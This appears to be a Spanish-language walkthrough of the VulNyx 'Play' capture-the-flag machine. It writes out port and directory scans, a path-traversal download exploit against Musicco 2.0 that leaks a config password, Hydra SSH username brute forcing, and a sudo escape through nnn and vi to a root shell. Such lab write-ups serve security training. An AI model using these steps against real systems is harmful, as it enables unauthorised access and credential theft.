VulNyx - Play

logo

  • Arbitrary Directory Download - Musicco 2.0
  • SSH Brute Force Username - Hydra
  • Abusing Nnn Binary - Sudo Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.74

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.74

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Realizo fuerza bruta de directorios y encuentro el directorio /playlist.

❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/common.txt 192.168.1.74/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.74/FUZZ
Total requests: 4723

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================
                               
000002197:   200        368 L    933 W      10701 Ch    "index.html"                              
000003152:   301        9 L      28 W       315 Ch      "playlist"                                
000003719:   403        9 L      28 W       277 Ch      "server-status"  

Visito el directorio /playlist.

playlist

Me voy a la rueda de herramientas y doy clic a about.

about

Dentro de about veo la versión del programa.

version

Buscando en internet encuentro este exploit y seguidamente uso wfuzz para enumerar directorios usando la ruta del exploit.

❯ wfuzz -c --hc=404,500 --hl=5188 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://192.168.1.74/playlist/?getAlbum&parent=FUZZ&album=Efe'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.74/playlist/?getAlbum&parent=FUZZ&album=Efe
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000172:   200        0 L      0 W        0 Ch        "music"                                                                                  
000000909:   200        371 L    3318 W     86295 Ch    "app"                                                                                                      
000001220:   200        74 L     735 W      18594 Ch    "theme"                                                     
000000222:   200        24620    242290 W   6196859 C   "doc"                                                                                         
000001471:   200        0 L      0 W        0 Ch        "temp" 

Añado ../ para realizar fuerza bruta a un directorio superior y encuentro el directorio /playlist.

❯ wfuzz -c --hc=404,500 --hl=5188 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://192.168.1.74/playlist/?getAlbum&parent=../FUZZ&album=Efe'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.74/playlist/?getAlbum&parent=../FUZZ&album=Efe
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================

000000014:   200        0 L      0 W        0 Ch        "http://192.168.1.74/playlist/?getAlbum&parent=../&album=Efe"                          
000007607:   200        0 L      0 W        0 Ch        "playlist"

Abro en el navegador la ruta del exploit con el directorio /playlist y automáticamente se descarga el archivo Efe.zip.

Efe

Descomprimo el archivo.

❯ unzip Efe.zip

Una vez descomprimido veo los siguienets archivos y carpetas.

estructura

En config.php encuentro una contraseña.

configphp

Intento conectarme por SSH con el usuario admin y unknown pero no són válidos, así que uso Hydra para realizar fuerza bruta al usuario y encontrar un usuario válido.

hydra -L /usr/share/seclists/Usernames/Names/names.txt -p 'i********c' ssh://192.168.1.74 -F -I -V
[22][ssh] host: 192.168.1.74   login: andy   password: i********c

hay que poner las comillas simples de lo contrario hydra no detectará correctamente la flag -p.

Me conecto al sistema como andy.

❯ ssh andy@192.168.1.74
andy@192.168.1.74's password: 
andy@play:~$ id
uid=1000(andy) gid=1000(andy) grupos=1000(andy)

Enumero permisos de sudo.

andy@play:~$ sudo -l
Matching Defaults entries for andy on play:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User andy may run the following commands on play:
    (root) NOPASSWD: /usr/bin/nnn

Lanzo el binario nnn con permisos de sudo.

andy@play:~$ sudo /usr/bin/nnn

Veo la siguiente ventana.

nnn

Si pulso la letra e me abre el archivo user.txt con el editor vi.

editarvi

Escribo :!/bin/bash.

binbash

Y obtengo el root.

root

Y aquí termina la máquina Play.

Saludos!